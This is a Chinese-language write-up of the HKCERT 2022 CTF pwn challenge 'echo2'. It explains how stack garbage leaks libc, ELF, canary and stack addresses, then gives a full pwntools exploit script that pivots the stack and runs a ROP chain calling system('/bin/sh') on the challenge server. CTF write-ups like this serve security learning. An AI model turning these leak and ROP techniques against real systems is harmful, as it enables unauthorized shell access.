2022-11-12
<p>[TOC]</p>
<h1>🌓echo2</h1>
<h2>🌙分析</h2>
<p><img src="https://pic1.imgdb.cn/item/6370c8cc16f2c2beb1f7ab81.png" alt="" />
checksec检查发现保护全开了
<img src="https://pic1.imgdb.cn/item/6370c97916f2c2beb1f86de8.png" alt="" />
程序主要逻辑为只要不输入"--\x00"就可以一直进行输入,并且这个输入可以造成溢出,但是溢出只能覆盖到函数返回地址,所以很明显使用one_gadget或者栈迁移来获取shell,我这里使用栈迁移技巧来获取shell
首先我们需要知道几个关键数据</p>
<ul>
<li>elf加载基地址</li>
<li>libc加载基地址</li>
<li>canary值</li>
<li>stack地址</li>
</ul>
<p>我们可以利用<code>puts(buf)</code>来泄露栈中相关数据,因为程序并没有清除栈中垃圾数据
<img src="https://pic1.imgdb.cn/item/6370c99f16f2c2beb1f8a2f4.png" alt="" />
泄露顺序为libc地址->elf地址->canary值->stack地址</p>
<pre><code class="language-py"># leak libc
o.recvuntil('Input:')
payload = 'a'*7
o.sendline(payload)
o.recvuntil('a'*7+'\n')
stdout = u64(o.recv(6)+'\x00\x00')
log.info('stdout: '+hex(stdout))</code></pre>
<pre><code class="language-py"># leak elf
o.recvuntil('Input:')
payload = 'a'*7*8 + 'a'*7
o.sendline(payload)
o.recvuntil('a'*7*8 + 'a'*7+'\n')
elf_addr = u64(o.recv(6)+'\x00\x00')
log.info('elf: '+hex(elf_addr))</code></pre>
<pre><code class="language-py"># leak canary & stack
o.recvuntil('Input:')
payload = 'a'*13*8
o.sendline(payload)
o.recvuntil('a'*13*8+'\n')
canary = u64('\x00'+o.recv(7))
log.info('canary: '+hex(canary))
stack = u64(o.recv(6).ljust(8,'\x00'))
log.info('stack: '+hex(stack))</code></pre>
<p>有了stdout的地址就可以泄露libc基地址</p>
<pre><code class="language-py">libc_base = stdout - libc.symbols['_IO_2_1_stdout_']</code></pre>
<p>有了<code>__libc_csu_init</code>地址就可以计算elf加载地址</p>
<pre><code class="language-py">elf_base = elf_addr - 0x12F0</code></pre>
<p>有了stack地址就可以计算出buf地址</p>
<pre><code>buf = stack - 144</code></pre>
<p>最后就是实现栈迁移getshell</p>
<h2>🌙Exploit</h2>
<pre><code class="language-py">from pwn import*
# context.log_level='debug'
o = remote('chal.hkcert22.pwnable.hk', 28045)
#o = process('./chall/src/chall')
libc = ELF('./libc-2.31.so')
# leak libc
o.recvuntil('Input:')
payload = 'a'*7
o.sendline(payload)
o.recvuntil('a'*7+'\n')
stdout = u64(o.recv(6)+'\x00\x00')
log.info('stdout: '+hex(stdout))
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
log.info('libc_base: '+hex(libc_base))
# leak elf
o.recvuntil('Input:')
payload = 'a'*7*8 + 'a'*7
o.sendline(payload)
o.recvuntil('a'*7*8 + 'a'*7+'\n')
elf_addr = u64(o.recv(6)+'\x00\x00')
log.info('elf: '+hex(elf_addr))
elf_base = elf_addr - 0x12F0
# leak canary & stack
o.recvuntil('Input:')
payload = 'a'*13*8
o.sendline(payload)
o.recvuntil('a'*13*8+'\n')
canary = u64('\x00'+o.recv(7))
log.info('canary: '+hex(canary))
stack = u64(o.recv(6).ljust(8,'\x00'))
log.info('stack: '+hex(stack))
buf = stack - 144
# rop
o.recvuntil('Input:')
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
leave_ret = elf_base + 0x12E3
pop_rdi = elf_base + 0x1353
ret = elf_base + 0x12B6
payload = '--\x00\x00\x00\x00\x00\x00' + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(sys_addr)
payload = payload.ljust(13*8, 'a')
payload += p64(canary)
payload += p64(buf)
payload += p64(leave_ret)
o.sendline(payload)
o.interactive()</code></pre>
<p><img src="https://pic1.imgdb.cn/item/6370ca4716f2c2beb1f9e0f0.png" alt="" /></p>
<h2>🌙附件</h2>
<p><a href="https://flowus.cn/c3n1g/share/d5c64984-67dc-4560-acb4-86d6690264a1">https://flowus.cn/c3n1g/share/d5c64984-67dc-4560-acb4-86d6690264a1</a>
【FlowUs 息流】echo2.zip</p>